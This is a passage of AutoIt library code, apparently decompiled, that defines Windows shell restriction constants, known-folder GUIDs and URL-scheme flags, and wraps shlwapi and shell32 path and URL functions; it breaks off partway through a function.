GLOBAL CONST $REST_DONTRETRYBADNETNAME = 162
GLOBAL CONST $REST_ALLOWFILECLSIDJUNCTIONS = 163
GLOBAL CONST $REST_NOUPNPINSTALL = 164
GLOBAL CONST $REST_ARP_DONTGROUPPATCHES = 165
GLOBAL CONST $REST_ARP_NOCHOOSEPROGRAMSPAGE = 166
GLOBAL CONST $REST_NODISCONNECT = 167
GLOBAL CONST $REST_NOSECURITY = 168
GLOBAL CONST $REST_NOFILEASSOCIATE = 169
GLOBAL CONST $REST_ALLOWCOMMENTTOGGLE = 170
GLOBAL CONST $REST_USEDESKTOPINICACHE = 171
GLOBAL CONST $GIL_DONTCACHE = 16
GLOBAL CONST $GIL_NOTFILENAME = 8
GLOBAL CONST $GIL_PERCLASS = 4
GLOBAL CONST $GIL_PERINSTANCE = 2
GLOBAL CONST $GIL_SIMULATEDOC = 1
GLOBAL CONST $GIL_SHIELD = 512
GLOBAL CONST $GIL_FORCENOSHIELD = 1024
GLOBAL CONST $FOLDERID_ADDNEWPROGRAMS = "{DE61D971-5EBC-4F02-A3A9-6C82895E5C04}"
GLOBAL CONST $FOLDERID_ADMINTOOLS = "{724EF170-A42D-4FEF-9F26-B60E846FBA4F}"
GLOBAL CONST $FOLDERID_APPUPDATES = "{A305CE99-F527-492B-8B1A-7E76FA98D6E4}"
GLOBAL CONST $FOLDERID_CDBURNING = "{9E52AB10-F80D-49DF-ACB8-4330F5687855}"
GLOBAL CONST $FOLDERID_CHANGEREMOVEPROGRAMS = "{DF7266AC-9274-4867-8D55-3BD661DE872D}"
GLOBAL CONST $FOLDERID_COMMONADMINTOOLS = "{D0384E7D-BAC3-4797-8F14-CBA229B392B5}"
GLOBAL CONST $FOLDERID_COMMONOEMLINKS = "{C1BAE2D0-10DF-4334-BEDD-7AA20B227A9D}"
GLOBAL CONST $FOLDERID_COMMONPROGRAMS = "{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}"
GLOBAL CONST $FOLDERID_COMMONSTARTMENU = "{A4115719-D62E-491D-AA7C-E74B8BE3B067}"
GLOBAL CONST $FOLDERID_COMMONSTARTUP = "{82A5EA35-D9CD-47C5-9629-E15D2F714E6E}"
GLOBAL CONST $FOLDERID_COMMONTEMPLATES = "{B94237E7-57AC-4347-9151-B08C6C32D1F7}"
GLOBAL CONST $FOLDERID_COMPUTERFOLDER = "{0AC0837C-BBF8-452A-850D-79D08E667CA7}"
GLOBAL CONST $FOLDERID_CONFLICTFOLDER = "{4BFEFB45-347D-4006-A5BE-AC0CB0567192}"
GLOBAL CONST $FOLDERID_CONNECTIONSFOLDER = "{6F0CD92B-2E97-45D1-88FF-B0D186B8DEDD}"
GLOBAL CONST $FOLDERID_CONTACTS = "{56784854-C6CB-462B-8169-88E350ACB882}"
GLOBAL CONST $FOLDERID_CONTROLPANELFOLDER = "{82A74AEB-AEB4-465C-A014-D097EE346D63}"
GLOBAL CONST $FOLDERID_COOKIES = "{2B0F765D-C0E9-4171-908E-08A611B84FF6}"
GLOBAL CONST $FOLDERID_DESKTOP = "{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}"
GLOBAL CONST $FOLDERID_DEVICEMETADATASTORE = "{5CE4A5E9-E4EB-479D-B89F-130C02886155}"
GLOBAL CONST $FOLDERID_DOCUMENTSLIBRARY = "{7B0DB17D-9CD2-4A93-9733-46CC89022E7C}"
GLOBAL CONST $FOLDERID_DOWNLOADS = "{374DE290-123F-4565-9164-39C4925E467B}"
GLOBAL CONST $FOLDERID_FAVORITES = "{1777F761-68AD-4D8A-87BD-30B759FA33DD}"
GLOBAL CONST $FOLDERID_FONTS = "{FD228CB7-AE11-4AE3-864C-16F3910AB8FE}"
GLOBAL CONST $FOLDERID_GAMES = "{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}"
GLOBAL CONST $FOLDERID_GAMETASKS = "{054FAE61-4DD8-4787-80B6-090220C4B700}"
GLOBAL CONST $FOLDERID_HISTORY = "{D9DC8A3B-B784-432E-A781-5A1130A75963}"
GLOBAL CONST $FOLDERID_HOMEGROUP = "{52528A6B-B9E3-4ADD-B60D-588C2DBA842D}"
GLOBAL CONST $FOLDERID_IMPLICITAPPSHORTCUTS = "{BCB5256F-79F6-4CEE-B725-DC34E402FD46}"
GLOBAL CONST $FOLDERID_INTERNETCACHE = "{352481E8-33BE-4251-BA85-6007CAEDCF9D}"
GLOBAL CONST $FOLDERID_INTERNETFOLDER = "{4D9F7874-4E0C-4904-967B-40B0D20C3E4B}"
GLOBAL CONST $FOLDERID_LIBRARIES = "{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}"
GLOBAL CONST $FOLDERID_LINKS = "{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}"
GLOBAL CONST $FOLDERID_LOCALAPPDATA = "{F1B32785-6FBA-4FCF-9D55-7B8E7F157091}"
GLOBAL CONST $FOLDERID_LOCALAPPDATALOW = "{A520A1A4-1780-4FF6-BD18-167343C5AF16}"
GLOBAL CONST $FOLDERID_LOCALIZEDRESOURCESDIR = "{2A00375E-224C-49DE-B8D1-440DF7EF3DDC}"
GLOBAL CONST $FOLDERID_MUSIC = "{4BD8D571-6D19-48D3-BE97-422220080E43}"
GLOBAL CONST $FOLDERID_MUSICLIBRARY = "{2112AB0A-C86A-4FFE-A368-0DE96E47012E}"
GLOBAL CONST $FOLDERID_NETHOOD = "{C5ABBF53-E17F-4121-8900-86626FC2C973}"
GLOBAL CONST $FOLDERID_NETWORKFOLDER = "{D20BEEC4-5CA8-4905-AE3B-BF251EA09B53}"
GLOBAL CONST $FOLDERID_ORIGINALIMAGES = "{2C36C0AA-5812-4B87-BFD0-4CD0DFB19B39}"
GLOBAL CONST $FOLDERID_PHOTOALBUMS = "{69D2CF90-FC33-4FB7-9A0C-EBB0F0FCB43C}"
GLOBAL CONST $FOLDERID_PICTURESLIBRARY = "{A990AE9F-A03B-4E80-94BC-9912D7504104}"
GLOBAL CONST $FOLDERID_PICTURES = "{33E28130-4E1E-4676-835A-98395C3BC3BB}"
GLOBAL CONST $FOLDERID_PLAYLISTS = "{DE92C1C7-837F-4F69-A3BB-86E631204A23}"
GLOBAL CONST $FOLDERID_PRINTERSFOLDER = "{76FC4E2D-D6AD-4519-A663-37BD56068185}"
GLOBAL CONST $FOLDERID_PRINTHOOD = "{9274BD8D-CFD1-41C3-B35E-B13F55A758F4}"
GLOBAL CONST $FOLDERID_PROFILE = "{5E6C858F-0E22-4760-9AFE-EA3317B67173}"
GLOBAL CONST $FOLDERID_PROGRAMDATA = "{62AB5D82-FDC1-4DC3-A9DD-070D1D495D97}"
GLOBAL CONST $FOLDERID_PROGRAMFILES = "{905E63B6-C1BF-494E-B29C-65B732D3D21A}"
GLOBAL CONST $FOLDERID_PROGRAMFILESX64 = "{6D809377-6AF0-444B-8957-A3773F02200E}"
GLOBAL CONST $FOLDERID_PROGRAMFILESX86 = "{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}"
GLOBAL CONST $FOLDERID_PROGRAMFILESCOMMON = "{F7F1ED05-9F6D-47A2-AAAE-29D317C6F066}"
GLOBAL CONST $FOLDERID_PROGRAMFILESCOMMONX64 = "{6365D5A7-0F0D-45E5-87F6-0DA56B6A4F7D}"
GLOBAL CONST $FOLDERID_PROGRAMFILESCOMMONX86 = "{DE974D24-D9C6-4D3E-BF91-F4455120B917}"
GLOBAL CONST $FOLDERID_PROGRAMS = "{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}"
GLOBAL CONST $FOLDERID_PUBLIC = "{DFDF76A2-C82A-4D63-906A-5644AC457385}"
GLOBAL CONST $FOLDERID_PUBLICDESKTOP = "{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}"
GLOBAL CONST $FOLDERID_PUBLICDOCUMENTS = "{ED4824AF-DCE4-45A8-81E2-FC7965083634}"
GLOBAL CONST $FOLDERID_PUBLICDOWNLOADS = "{3D644C9B-1FB8-4F30-9B45-F670235F79C0}"
GLOBAL CONST $FOLDERID_PUBLICGAMETASKS = "{DEBF2536-E1A8-4C59-B6A2-414586476AEA}"
GLOBAL CONST $FOLDERID_PUBLICLIBRARIES = "{48DAF80B-E6CF-4F4E-B800-0E69D84EE384}"
GLOBAL CONST $FOLDERID_PUBLICMUSIC = "{3214FAB5-9757-4298-BB61-92A9DEAA44FF}"
GLOBAL CONST $FOLDERID_PUBLICPICTURES = "{B6EBFB86-6907-413C-9AF7-4FC2ABF07CC5}"
GLOBAL CONST $FOLDERID_PUBLICRINGTONES = "{E555AB60-153B-4D17-9F04-A5FE99FC15EC}"
GLOBAL CONST $FOLDERID_PUBLICVIDEOS = "{2400183A-6185-49FB-A2D8-4A392A602BA3}"
GLOBAL CONST $FOLDERID_QUICKLAUNCH = "{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}"
GLOBAL CONST $FOLDERID_RECENT = "{AE50C081-EBD2-438A-8655-8A092E34987A}"
GLOBAL CONST $FOLDERID_RECORDEDTVLIBRARY = "{1A6FDBA2-F42D-4358-A798-B74D745926C5}"
GLOBAL CONST $FOLDERID_RECYCLEBINFOLDER = "{B7534046-3ECB-4C18-BE4E-64CD4CB7D6AC}"
GLOBAL CONST $FOLDERID_RESOURCEDIR = "{8AD10C31-2ADB-4296-A8F7-E4701232C972}"
GLOBAL CONST $FOLDERID_RINGTONES = "{C870044B-F49E-4126-A9C3-B52A1FF411E8}"
GLOBAL CONST $FOLDERID_ROAMINGAPPDATA = "{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"
GLOBAL CONST $FOLDERID_SAMPLEMUSIC = "{B250C668-F57D-4EE1-A63C-290EE7D1AA1F}"
GLOBAL CONST $FOLDERID_SAMPLEPICTURES = "{C4900540-2379-4C75-844B-64E6FAF8716B}"
GLOBAL CONST $FOLDERID_SAMPLEPLAYLISTS = "{15CA69B3-30EE-49C1-ACE1-6B5EC372AFB5}"
GLOBAL CONST $FOLDERID_SAMPLEVIDEOS = "{859EAD94-2E85-48AD-A71A-0969CB56A6CD}"
GLOBAL CONST $FOLDERID_SAVEDGAMES = "{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}"
GLOBAL CONST $FOLDERID_SAVEDSEARCHES = "{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}"
GLOBAL CONST $FOLDERID_SEARCH_CSC = "{EE32E446-31CA-4ABA-814F-A5EBD2FD6D5E}"
GLOBAL CONST $FOLDERID_SEARCH_MAPI = "{98EC0E18-2098-4D44-8644-66979315A281}"
GLOBAL CONST $FOLDERID_SEARCHHOME = "{190337D1-B8CA-4121-A639-6D472D16972A}"
GLOBAL CONST $FOLDERID_SENDTO = "{8983036C-27C0-404B-8F08-102D10DCFD74}"
GLOBAL CONST $FOLDERID_SIDEBARDEFAULTPARTS = "{7B396E54-9EC5-4300-BE0A-2482EBAE1A26}"
GLOBAL CONST $FOLDERID_SIDEBARPARTS = "{A75D362E-50FC-4FB7-AC2C-A8BEAA314493}"
GLOBAL CONST $FOLDERID_STARTMENU = "{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}"
GLOBAL CONST $FOLDERID_STARTUP = "{B97D20BB-F46A-4C97-BA10-5E3608430854}"
GLOBAL CONST $FOLDERID_SYNCMANAGERFOLDER = "{43668BF8-C14E-49B2-97C9-747784D784B7}"
GLOBAL CONST $FOLDERID_SYNCRESULTSFOLDER = "{289A9A43-BE44-4057-A41B-587A76D7E7F9}"
GLOBAL CONST $FOLDERID_SYNCSETUPFOLDER = "{0F214138-B1D3-4A90-BBA9-27CBC0C5389A}"
GLOBAL CONST $FOLDERID_SYSTEM = "{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}"
GLOBAL CONST $FOLDERID_SYSTEMX86 = "{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}"
GLOBAL CONST $FOLDERID_TEMPLATES = "{A63293E8-664E-48DB-A079-DF759E0509F7}"
GLOBAL CONST $FOLDERID_USERPINNED = "{9E3995AB-1F9C-4F13-B827-48B24B6C7174}"
GLOBAL CONST $FOLDERID_USERPROFILES = "{0762D272-C50A-4BB0-A382-697DCD729B80}"
GLOBAL CONST $FOLDERID_USERPROGRAMFILES = "{5CD7AEE2-2219-4A67-B85D-6C9CE15660CB}"
GLOBAL CONST $FOLDERID_USERPROGRAMFILESCOMMON = "{BCBD3057-CA5C-4622-B42D-BC56DB0AE516}"
GLOBAL CONST $FOLDERID_USERSFILES = "{F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F}"
GLOBAL CONST $FOLDERID_USERSLIBRARIES = "{A302545D-DEFF-464B-ABE8-61C8648D939B}"
GLOBAL CONST $FOLDERID_VIDEOS = "{18989B1D-99B5-455B-841C-AB7C74E4DDFC}"
GLOBAL CONST $FOLDERID_VIDEOSLIBRARY = "{491E922F-5643-4AF4-A7EB-4E7A138D8174}"
GLOBAL CONST $FOLDERID_WINDOWS = "{F38BF404-1D43-42F2-9305-67DE0B28FC23}"
GLOBAL CONST $KF_FLAG_ALIAS_ONLY = 2147483648
GLOBAL CONST $KF_FLAG_CREATE = 32768
GLOBAL CONST $KF_FLAG_DONT_VERIFY = 16384
GLOBAL CONST $KF_FLAG_DONT_UNEXPAND = 8192
GLOBAL CONST $KF_FLAG_NO_ALIAS = 4096
GLOBAL CONST $KF_FLAG_INIT = 2048
GLOBAL CONST $KF_FLAG_DEFAULT_PATH = 1024
GLOBAL CONST $KF_FLAG_NO_APPCONTAINER_REDIRECTION = 65536
GLOBAL CONST $KF_FLAG_NOT_PARENT_RELATIVE = 512
GLOBAL CONST $KF_FLAG_SIMPLE_IDLIST = 256
GLOBAL CONST $URL_SCHEME_INVALID = + 4294967295
GLOBAL CONST $URL_SCHEME_UNKNOWN = 0
GLOBAL CONST $URL_SCHEME_FTP = 1
GLOBAL CONST $URL_SCHEME_HTTP = 2
GLOBAL CONST $URL_SCHEME_GOPHER = 3
GLOBAL CONST $URL_SCHEME_MAILTO = 4
GLOBAL CONST $URL_SCHEME_NEWS = 5
GLOBAL CONST $URL_SCHEME_NNTP = 6
GLOBAL CONST $URL_SCHEME_TELNET = 7
GLOBAL CONST $URL_SCHEME_WAIS = 8
GLOBAL CONST $URL_SCHEME_FILE = 9
GLOBAL CONST $URL_SCHEME_MK = 10
GLOBAL CONST $URL_SCHEME_HTTPS = 11
GLOBAL CONST $URL_SCHEME_SHELL = 12
GLOBAL CONST $URL_SCHEME_SNEWS = 13
GLOBAL CONST $URL_SCHEME_LOCAL = 14
GLOBAL CONST $URL_SCHEME_JAVASCRIPT = 15
GLOBAL CONST $URL_SCHEME_VBSCRIPT = 16
GLOBAL CONST $URL_SCHEME_ABOUT = 17
GLOBAL CONST $URL_SCHEME_RES = 18
GLOBAL CONST $URL_SCHEME_MSSHELLROOTED = 19
GLOBAL CONST $URL_SCHEME_MSSHELLIDLIST = 20
GLOBAL CONST $URL_SCHEME_MSHELP = 21
GLOBAL CONST $URL_SCHEME_MSSHELLDEVICE = 22
GLOBAL CONST $URL_SCHEME_WILDCARD = 23
GLOBAL CONST $URL_SCHEME_SEARCH_MS = 24
GLOBAL CONST $URL_SCHEME_SEARCH = 25
GLOBAL CONST $URL_SCHEME_KNOWNFOLDER = 26
GLOBAL CONST $GCT_INVALID = 0
GLOBAL CONST $GCT_LFNCHAR = 1
GLOBAL CONST $GCT_SEPARATOR = 8
GLOBAL CONST $GCT_SHORTCHAR = 2
GLOBAL CONST $GCT_WILD = 4
GLOBAL CONST $URL_APPLY_DEFAULT = 1
GLOBAL CONST $URL_APPLY_GUESSSCHEME = 2
GLOBAL CONST $URL_APPLY_GUESSFILE = 4
GLOBAL CONST $URL_APPLY_FORCEAPPLY = 8
GLOBAL CONST $URL_DONT_SIMPLIFY = 134217728
GLOBAL CONST $URL_ESCAPE_AS_UTF8 = 262144
GLOBAL CONST $URL_ESCAPE_PERCENT = 4096
GLOBAL CONST $URL_ESCAPE_SPACES_ONLY = 67108864
GLOBAL CONST $URL_ESCAPE_UNSAFE = 536870912
GLOBAL CONST $URL_NO_META = 134217728
GLOBAL CONST $URL_PLUGGABLE_PROTOCOL = 1073741824
GLOBAL CONST $URL_UNESCAPE = 268435456
GLOBAL CONST $URL_PART_HOSTNAME = 2
GLOBAL CONST $URL_PART_PASSWORD = 4
GLOBAL CONST $URL_PART_PORT = 5
GLOBAL CONST $URL_PART_QUERY = 6
GLOBAL CONST $URL_PART_SCHEME = 1
GLOBAL CONST $URL_PART_USERNAME = 3
GLOBAL CONST $URLIS_APPLIABLE = 4
GLOBAL CONST $URLIS_DIRECTORY = 5
GLOBAL CONST $URLIS_FILEURL = 3
GLOBAL CONST $URLIS_HASQUERY = 6
GLOBAL CONST $URLIS_NOHISTORY = 2
GLOBAL CONST $URLIS_OPAQUE = 1
GLOBAL CONST $URLIS_URL = 0
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_COMMANDLINETOARGV ($SCMD )
LOCAL $ARESULT [1 ] = [0 ]
$SCMD = STRINGSTRIPWS ($SCMD , $STR_STRIPLEADING + $STR_STRIPTRAILING )
IF NOT $SCMD THEN
RETURN $ARESULT
ENDIF
LOCAL $ARET = DLLCALL ("shell32.dll" , "ptr" , "CommandLineToArgvW" , "wstr" , $SCMD , "int*" , 0 )
IF @ERROR OR NOT $ARET [0 ] OR (NOT $ARET [2 ] ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $TPTR = DLLSTRUCTCREATE ("ptr[" & $ARET [2 ] & "]" , $ARET [0 ] )
DIM $ARESULT [$ARET [2 ] + 1 ] = [$ARET [2 ] ]
FOR $I = 1 TO $ARET [2 ]
$ARESULT [$I ] = _WINAPI_GETSTRING (DLLSTRUCTGETDATA ($TPTR , 1 , $I ) )
NEXT
DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $ARET [0 ] )
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_ISNAMEINEXPRESSION ($SSTRING , $SPATTERN , $BCASESENSITIVE = FALSE )
IF NOT $BCASESENSITIVE THEN $SPATTERN = STRINGUPPER ($SPATTERN )
LOCAL $TUS1 = __US ($SPATTERN )
LOCAL $TUS2 = __US ($SSTRING )
LOCAL $ARET = DLLCALL ("ntdll.dll" , "boolean" , "RtlIsNameInExpression" , "struct*" , $TUS1 , "struct*" , $TUS2 , "boolean" , NOT $BCASESENSITIVE , "ptr" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PARSEURL ($SURL )
LOCAL $TAGPARSEDURL = "dword Size;ptr Protocol;uint cchProtocol;ptr Suffix;uint cchSuffix;uint Scheme"
LOCAL $TPURL = DLLSTRUCTCREATE ($TAGPARSEDURL )
DLLSTRUCTSETDATA ($TPURL , 1 , DLLSTRUCTGETSIZE ($TPURL ) )
LOCAL $TURL = DLLSTRUCTCREATE ("wchar[4096]" )
DLLSTRUCTSETDATA ($TURL , 1 , $SURL )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "ParseURLW" , "struct*" , $TURL , "struct*" , $TPURL )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
LOCAL $ARESULT [3 ]
$ARESULT [0 ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & DLLSTRUCTGETDATA ($TPURL , 3 ) & "]" , DLLSTRUCTGETDATA ($TPURL , 2 ) ) , 1 )
$ARESULT [1 ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & DLLSTRUCTGETDATA ($TPURL , 5 ) & "]" , DLLSTRUCTGETDATA ($TPURL , 4 ) ) , 1 )
$ARESULT [2 ] = DLLSTRUCTGETDATA ($TPURL , 6 )
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_PARSEUSERNAME ($SUSER )
IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 )
LOCAL $ARET = DLLCALL ("credui.dll" , "dword" , "CredUIParseUserNameW" , "wstr" , $SUSER , "wstr" , "" , "ulong" , 4096 , "wstr" , "" , "ulong" , 4096 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
SWITCH $ARET [0 ]
CASE 0
CASE 1315
IF STRINGSTRIPWS ($SUSER , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$ARET [2 ] = $SUSER
$ARET [4 ] = ""
ELSE
CONTINUECASE
ENDIF
CASE ELSE
RETURN SETERROR (10 , $ARET [0 ] , 0 )
ENDSWITCH
LOCAL $ARESULT [2 ]
$ARESULT [0 ] = $ARET [4 ]
$ARESULT [1 ] = $ARET [2 ]
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_PATHADDBACKSLASH ($SFILEPATH )
LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" )
DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathAddBackslashW" , "struct*" , $TPATH )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN DLLSTRUCTGETDATA ($TPATH , 1 )
ENDFUNC
FUNC _WINAPI_PATHADDEXTENSION ($SFILEPATH , $SEXT = "" )
LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" )
DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH )
LOCAL $STYPEOFEXT = "wstr"
IF NOT STRINGSTRIPWS ($SEXT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFEXT = "ptr"
$SEXT = 0
ENDIF
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathAddExtensionW" , "struct*" , $TPATH , $STYPEOFEXT , $SEXT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN SETEXTENDED ($ARET [0 ] , DLLSTRUCTGETDATA ($TPATH , 1 ) )
ENDFUNC
FUNC _WINAPI_PATHAPPEND ($SFILEPATH , $SMORE )
LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" )
DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathAppendW" , "struct*" , $TPATH , "wstr" , $SMORE )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN DLLSTRUCTGETDATA ($TPATH , 1 )
ENDFUNC
FUNC _WINAPI_PATHBUILDROOT ($IDRIVE )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathBuildRootW" , "wstr" , "" , "int" , $IDRIVE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHCANONICALIZE ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathCanonicalizeW" , "wstr" , "" , "wstr" , $SFILEPATH )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , $SFILEPATH )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHCOMMONPREFIX ($SPATH1 , $SPATH2 )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "PathCommonPrefixW" , "wstr" , $SPATH1 , "wstr" , $SPATH2 , "wstr" , "" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN SETEXTENDED ($ARET [0 ] , $ARET [3 ] )
ENDFUNC
FUNC _WINAPI_PATHCOMPACTPATH ($HWND , $SFILEPATH , $IWIDTH = 0 )
IF $IWIDTH < 1 THEN
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
DLLCALL ("user32.dll" , "bool" , "GetClientRect" , "hwnd" , $HWND , "struct*" , $TRECT )
$IWIDTH += DLLSTRUCTGETDATA ($TRECT , "Right" ) - DLLSTRUCTGETDATA ($TRECT , "Left" )
ENDIF
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetDC" , "hwnd" , $HWND )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , $SFILEPATH )
LOCAL $HDC = $ARET [0 ]
LOCAL CONST $WM_GETFONT = 49
$ARET = DLLCALL ("user32.dll" , "ptr" , "SendMessage" , "hwnd" , $HWND , "uint" , $WM_GETFONT , "wparam" , 0 , "lparam" , 0 )
LOCAL $HBACK = DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDC , "handle" , $ARET [0 ] )
LOCAL $IERROR = 0
$ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathCompactPathW" , "handle" , $HDC , "wstr" , $SFILEPATH , "int" , $IWIDTH )
IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 10
DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDC , "handle" , $HBACK [0 ] )
DLLCALL ("user32.dll" , "int" , "ReleaseDC" , "hwnd" , $HWND , "handle" , $HDC )
IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , $SFILEPATH )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_PATHCOMPACTPATHEX ($SFILEPATH , $IMAX )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathCompactPathExW" , "wstr" , "" , "wstr" , $SFILEPATH , "uint" , $IMAX + 1 , "dword" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , $SFILEPATH )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHCREATEFROMURL ($SURL )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "PathCreateFromUrlW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_PATHFINDEXTENSION ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "wstr" , "PathFindExtensionW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHFINDFILENAME ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "wstr" , "PathFindFileNameW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , $SFILEPATH )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHFINDNEXTCOMPONENT ($SFILEPATH )
LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" )
DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathFindNextComponentW" , "struct*" , $TPATH )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN _WINAPI_GETSTRING ($ARET [0 ] )
ENDFUNC
FUNC _WINAPI_PATHFINDONPATH (CONST $SFILEPATH , $AEXTRAPATHS = "" , CONST $SPATHDELIMITER = @LF )
LOCAL $IEXTRACOUNT = 0
IF ISSTRING ($AEXTRAPATHS ) THEN
IF STRINGLEN ($AEXTRAPATHS ) THEN
$AEXTRAPATHS = STRINGSPLIT ($AEXTRAPATHS , $SPATHDELIMITER , $STR_ENTIRESPLIT + $STR_NOCOUNT )
$IEXTRACOUNT = UBOUND ($AEXTRAPATHS , $UBOUND_ROWS )
ENDIF
ELSEIF ISARRAY ($AEXTRAPATHS ) THEN
$IEXTRACOUNT = UBOUND ($AEXTRAPATHS )
ENDIF
LOCAL $TPATHS , $TPATHPTRS
IF $IEXTRACOUNT THEN
LOCAL $TAGSTRUCT = ""
FOR $PATH IN $AEXTRAPATHS
$TAGSTRUCT &= "wchar[" & STRINGLEN ($PATH ) + 1 & "];"
NEXT
$TPATHS = DLLSTRUCTCREATE ($TAGSTRUCT )
$TPATHPTRS = DLLSTRUCTCREATE ("ptr[" & $IEXTRACOUNT + 1 & "]" )
FOR $I = 1 TO $IEXTRACOUNT
DLLSTRUCTSETDATA ($TPATHS , $I , $AEXTRAPATHS [$I + 4294967295 ] )
DLLSTRUCTSETDATA ($TPATHPTRS , 1 , DLLSTRUCTGETPTR ($TPATHS , $I ) , $I )
NEXT
DLLSTRUCTSETDATA ($TPATHPTRS , 1 , PTR (0 ) , $IEXTRACOUNT + 1 )
ENDIF
LOCAL $ARESULT = DLLCALL ("shlwapi.dll" , "bool" , "PathFindOnPathW" , "wstr" , $SFILEPATH , "struct*" , $TPATHPTRS )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , $SFILEPATH )
RETURN $ARESULT [1 ]
ENDFUNC
FUNC _WINAPI_PATHGETARGS ($SFILEPATH )
LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" )
DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathGetArgsW" , "struct*" , $TPATH )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
